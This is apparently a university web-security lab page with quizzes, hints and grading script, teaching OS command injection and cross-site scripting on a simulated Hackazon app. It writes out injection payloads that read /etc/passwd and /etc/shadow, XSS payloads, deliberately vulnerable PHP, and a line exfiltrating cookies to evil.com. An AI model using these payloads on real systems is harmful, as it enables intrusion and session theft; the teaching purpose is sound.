This lab covers two of the most critical and prevalent web vulnerabilities: OS Command Injection and Cross-Site Scripting (XSS). Both arise from insufficient input validation and have appeared in countless real-world breaches.
You will work through 6 guided challenges using a simulated version of the Hackazon vulnerable application. Each challenge awards up to 100 points. Complete reflection questions and submit for full marks.
CI-1Background: why command injection happens and how it works
CI-2Execute directory listing via injected OS command
CI-3Read sensitive system files (/etc/passwd, shadow)
XSS-1Reflected vs Stored XSS — concepts & classification
XSS-2Stored XSS: inject persistent JavaScript into the FAQ page
XSS-3Reflected XSS: steal session cookies via crafted link
⚠ All exercises run in this self-contained simulator. No external network access is required. Do not attempt these techniques on systems you do not own.
CI-1
Command Injection — Concept & Setup
OS InjectionOWASP A03100 pts
★ 100 points — complete the quiz below to earn full marks
Background: The Hackazon My Documents page passes a user-supplied filename directly to the server's command interpreter. The vulnerable PHP code looks like:
Because there is no sanitisation, an attacker can append shell metacharacters. The pipe ( | ) and semicolon ( ; ) are command separators in Unix. Injecting test|/bin/ls as the page parameter causes the server to execute both cat documents/test (which fails) and /bin/ls (which succeeds and returns directory contents).
🔍 Key Concept
The vulnerable URL is: http://hackazon.jonesey.com.au/account/documents?page=terms.html
To inject, change terms.html to test|/bin/ls — the server concatenates your input into a shell command.
How this vulnerability arises
1
User navigates to /account/documents?page=terms.html
2
PHP server runs: shell_exec("cat documents/terms.html") — safe
3
Attacker changes page to test|/bin/ls
4
Server now runs: shell_exec("cat documents/test|/bin/ls") — shell interprets | and runs ls
5
The output of /bin/ls is rendered in the browser — attacker sees the directory listing
Answer the concept check questions below to unlock the next challenge.
Q1: Which character(s) can be used to chain/separate OS commands in a Unix shell?
Hashtag (#) — it starts a comment
Semicolon (;) or pipe (|) — they chain commands
Dollar sign ($) — it denotes a variable
Backslash (\) — escape character
Q2: What is the primary fix for OS command injection?
Encrypt the URL parameters
Use HTTPS instead of HTTP
Never pass user input to shell functions; use parameterised APIs with whitelisting
Hide the page parameter from the URL
Q3: In the Hackazon URL ?page=test|/bin/ls, which part is the injected command?
page= (the parameter name)
test (the dummy filename)
/bin/ls (the command after the pipe separator)
documents/ (the directory prefix)
🏆
CI-1 Complete! +100 ptsYou understand how command injection works. Now let's exploit it in practice.
CI-2
Command Injection — Directory Listing
Remote Code ExecutionHands-On100 pts
★ 100 points — inject commands to discover the server filesystem
Task: The simulated Hackazon page below passes your page input directly to a shell. Inject Linux commands to explore the filesystem, then answer the lab questions.
The vulnerable server code: shell_exec("cat documents/" . $_GET['page'])
🔍 Hints
• To list current directory: enter test|/bin/ls in the page field
• For human-readable listing: test|/bin/ls -lh
• To list root directory: test|/bin/ls /
• To show current working path: test|/bin/pwd
• To show server user: test|whoami
CI-2 Complete! +100 ptsYou successfully listed the server filesystem through a web form. Now try reading sensitive files.
CI-3
Command Injection — Reading System Files
Credential ExposureHands-On100 pts
★ 100 points — attempt to read /etc/passwd and /etc/shadow
Task: Using the same injection technique, attempt to read sensitive system files. /etc/passwd contains the user account list. /etc/shadow contains hashed passwords but is protected by file permissions.
🔍 Hints
• Read user list: test|cat /etc/passwd
• Attempt shadow file: test|cat /etc/shadow
• The shadow file should fail — think about why (file permissions, process user)
• To see file permissions: test|/bin/ls -la /etc/shadow
CI-3 Complete! +100 ptsCommand injection is OWASP Top 10 #3. The fix: never pass user input to shell functions. Use language-native APIs (e.g. PHP's DirectoryIterator) with strict input whitelisting.
XSS-1
Cross-Site Scripting — Concepts
XSSOWASP A03100 pts
★ 100 points — answer the concept quiz
Cross-Site Scripting (XSS) occurs when a web application includes user-supplied data in its HTML output without proper encoding. A browser trusts all content from a server — so if an attacker's JavaScript reaches the page, it executes in the victim's browser context, bypassing the Same Origin Policy.
Reflected XSS: The script is in the URL/request — it "bounces" off the server into the response. The attacker tricks a victim into clicking a crafted link.
Stored XSS: The script is saved to the server's database. Every future visitor who loads the page executes the script — far more dangerous.
Attack flow — Stored XSS example
1
Attacker submits <script>alert(document.cookie)</script> in a comment/FAQ form
2
Server stores the raw string in the database without HTML-encoding it
3
Victim visits the page — server echoes the stored string directly into HTML
4
Browser parses <script> tag — executes the JavaScript in the victim's session
5
Script reads document.cookie and can send it to attacker's server: session hijacking
Q1: What distinguishes Stored XSS from Reflected XSS?
Stored XSS persists in the database and affects all visitors; Reflected XSS only affects users who click a crafted link
Reflected XSS is more dangerous because it's harder to detect
There is no difference — both work identically
Q2: Why does XSS bypass the Same Origin Policy (SOP)?
The attacker's script runs from a different domain, which SOP ignores
The script is served by the legitimate site — SOP allows same-origin scripts to access cookies and DOM, so the injected script gets those privileges
Browsers don't enforce SOP for JavaScript in forms
XSS only works on HTTP sites, not HTTPS
Q3: What is the primary defence against XSS?
Block all form submissions containing angle brackets
Use HTTPS on the server
HTML-encode all user-supplied output: <→<, >→>, etc. (e.g. PHP's htmlspecialchars())
Require users to log in before viewing comments
🏆
XSS-1 Complete! +100 ptsSolid understanding of XSS theory. Now let's exploit it hands-on.
XSS-2
Stored XSS — FAQ Injection
Stored XSSHands-On100 pts
★ 100 points — inject a persistent script into the FAQ page
Background: The Hackazon FAQ page accepts user questions. It stores them in the database and renders them directly into the HTML — without encoding. Any script tag you submit will execute in every visitor's browser.
The vulnerable server code: echo "<p>" . $question . "</p>";
The fix would be: echo "<p>" . htmlspecialchars($question) . "</p>";
🔍 Hints
Classic test payload: <script>alert('XSS!!')</script>
Alternative (if script tags are filtered): <img src=x onerror="alert('XSS!')">
After submitting, the FAQ page reloads — your script fires every time it's visited.
http://hackazon.jonesey.com.au/faq
Frequently Asked Questions
I want to return my purchase! What do I do?
Do you accept international credit cards?
What can cause my order to be delayed?
⚠
Browser Alert
XSS!!
/* Vulnerable PHP — /faq page */$question = $_POST['question'];
$db->query("INSERT INTO faq (question) VALUES ('$question')");
// Later, when rendering the page:foreach($db->query("SELECT * FROM faq") as$row) {
echo "<p>" . $row['question'] . "</p>"; // NO htmlspecialchars()!
}
// Fix: echo "<p>" . htmlspecialchars($row['question'], ENT_QUOTES, 'UTF-8') . "</p>";
🏆
XSS-2 Complete! +100 ptsYou injected persistent JavaScript into the application. Every visitor to that FAQ page would now execute your script.
XSS-3
Reflected XSS — Cookie Theft
Reflected XSSSession Hijack100 pts
★ 100 points — steal a session cookie via reflected XSS
Background: The Hackazon search page reflects the search term into the page output without encoding. By injecting JavaScript that reads document.cookie, an attacker can expose a victim's session cookie. The crafted link can be disguised and sent to a victim — when they click it, their cookie is exposed in the alert (or in a real attack, silently sent to the attacker's server).
🔍 Step by Step
Step 1: Test basic XSS by searching: <script>alert('XSS')</script> Step 2: Steal the cookie by searching: <script>alert(document.cookie)</script> Step 3: Craft a shareable link — note the full URL shown in the browser bar Step 4: In a real attack, replace alert(...) with new Image().src='http://evil.com/?c='+document.cookie to silently exfiltrate the cookie.
This is what document.cookie would return for a logged-in Hackazon user.
🏆
XSS-3 Complete! +100 ptsYou demonstrated a complete session-hijacking attack chain via Reflected XSS. In a real attack, this cookie would give the attacker full access to the victim's account.
★
Lab Report & Score
CSE1CPR Lab 7 Part 2
🎖
FINAL SCORE
0
out of 600 points
Challenge
Topic
Max
Earned
Status
CI-1
Command Injection — Concept & Setup
100
0
—
CI-2
Directory Listing via Injection
100
0
—
CI-3
Reading System Files
100
0
—
XSS-1
XSS Concepts Quiz
100
0
—
XSS-2
Stored XSS — FAQ Injection
100
0
—
XSS-3
Reflected XSS & Cookie Theft
100
0
—
Total
600
0
—
Instructor Grading Guide
CI-2 & CI-3 — Award marks based on quality of reflection answers. Students should identify correct commands, show actual output, and explain the significance. XSS-2 & XSS-3 — Students should demonstrate actual payload execution (modal must fire), and reflections should show understanding of attack impact and defences. Full marks — Require both correct technical execution AND thoughtful written answers to all reflection questions.
to steal the session cookie.');
}
}
function checkXSS3() {
if (!xss3Fired) { respond('xss3-resp2','err','✗ You must first trigger the XSS using the search bar above.'); return; }
const q1 = document.getElementById('xss3-q1').value.trim();
const q2 = document.getElementById('xss3-q2').value.trim();
const q3 = document.getElementById('xss3-q3').value.trim();
if (q1.length < 20 || q2.length < 30 || q3.length < 30) { respond('xss3-resp2','err','✗ Please complete all three reflection questions with sufficient detail.'); return; }
const hasCookie = q1.toLowerCase().includes('cookie') || q1.toLowerCase().includes('phpsessid') || q1.toLowerCase().includes('document');
const hasURL = q2.toLowerCase().includes('http') || q2.toLowerCase().includes('evil') || q2.toLowerCase().includes('image') || q2.toLowerCase().includes('search');
const hasHttpOnly = q3.toLowerCase().includes('httponly') || q3.toLowerCase().includes('csp') || q3.toLowerCase().includes('content-security') || q3.toLowerCase().includes('encod');
if (!hasCookie) { respond('xss3-resp2','err','✗ XSS-3a: Reference document.cookie or the PHPSESSID value.'); return; }
if (!hasURL) { respond('xss3-resp2','err','✗ XSS-3b: Craft a full URL containing the malicious payload.'); return; }
if (!hasHttpOnly) { respond('xss3-resp2','err','✗ XSS-3c: Reference HttpOnly flag, CSP, or output encoding as defences.'); return; }
respond('xss3-resp2','ok','✓ All answers accepted. You completed the full cookie-theft attack chain.');
markSolved('xss3');
document.getElementById('success-xss3').classList.add('show');
}
// ── REPORT ─────────────────────────────────────────────
function updateReport() {
const checks = {ci1:'CI-1',ci2:'CI-2',ci3:'CI-3',xss1:'XSS-1',xss2:'XSS-2',xss3:'XSS-3'};
Object.entries(checks).forEach(([k,label]) => {
const row = document.getElementById('mr-' + k);
if (row) {
const earned = solved[k] ? 100 : 0;
row.cells[3].textContent = earned;
row.cells[4].textContent = solved[k] ? '✓ Complete' : '○ Pending';
if (solved[k]) row.classList.add('done-row');
}
});
document.getElementById('report-score').textContent = score;
document.getElementById('report-total').textContent = score;
const pct = Math.round(score / 600 * 100);
let grade = pct >= 85 ? 'HD' : pct >= 75 ? 'D' : pct >= 65 ? 'C' : pct >= 50 ? 'P' : 'N';
document.getElementById('report-grade').textContent = grade + ' (' + pct + '%)';
}
// ── INIT ───────────────────────────────────────────────
document.getElementById('nb-intro').classList.add('active');
Post a Comment
Please do not enter any spam links in the comments...